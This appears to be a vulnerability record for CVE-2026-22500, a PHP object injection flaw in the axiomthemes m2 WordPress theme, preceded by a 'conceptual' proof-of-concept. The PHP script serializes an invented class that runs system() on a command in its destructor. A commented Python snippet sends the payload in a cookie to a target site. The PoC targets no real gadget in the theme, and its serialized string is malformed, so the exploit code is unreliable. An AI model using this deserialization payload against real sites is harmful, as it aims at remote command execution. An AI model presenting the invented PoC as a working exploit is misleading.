CVE-2026-22500

<?php // Conceptual PoC Generator for PHP Object Injection // This script generates a payload that could be used to exploit the vulnerability. class VulnerableClass { public $data; public function __destruct() { // Hypothetical dangerous operation triggered during deserialization system($this->data); } } // Command to execute $cmd = "id"; // Create the object $object = new VulnerableClass(); $object->data = $cmd; // Serialize the object to create the payload $payload = serialize($object); echo "Generated Payload (Send this in the vulnerable parameter/Cookie):\n"; echo $payload; /* Python Request Example: import requests url = "http://target-wordpress-site/" payload = "O:14:\"VulnerableClass\":1:{s:4:\"data\`;s:2:\"id\`;;}" headers = { "Cookie": f"vulnerable_cookie={payload}" } response = requests.get(url, headers=headers) print(response.text) */ ?>

{"cve": {"id": "CVE-2026-22500", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:32.063", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in axiomthemes m2 | Construction and Tools Store m2-ce allows Object Injection.This issue affects m2 | Construction and Tools Store: from n/a through <= 1.1.2."}, {"lang": "es", "value": "Vulnerabilidad de deserialización de datos no confiables en axiomthemes m2 | Construction and Tools Store m2-ce permite la inyección de objetos. Este problema afecta a m2 | Construction and Tools Store: desde n/a hasta &lt;= 1.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/m2-ce/vulnerability/wordpress-m2-construction-and-tools-store-theme-1-1-2-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}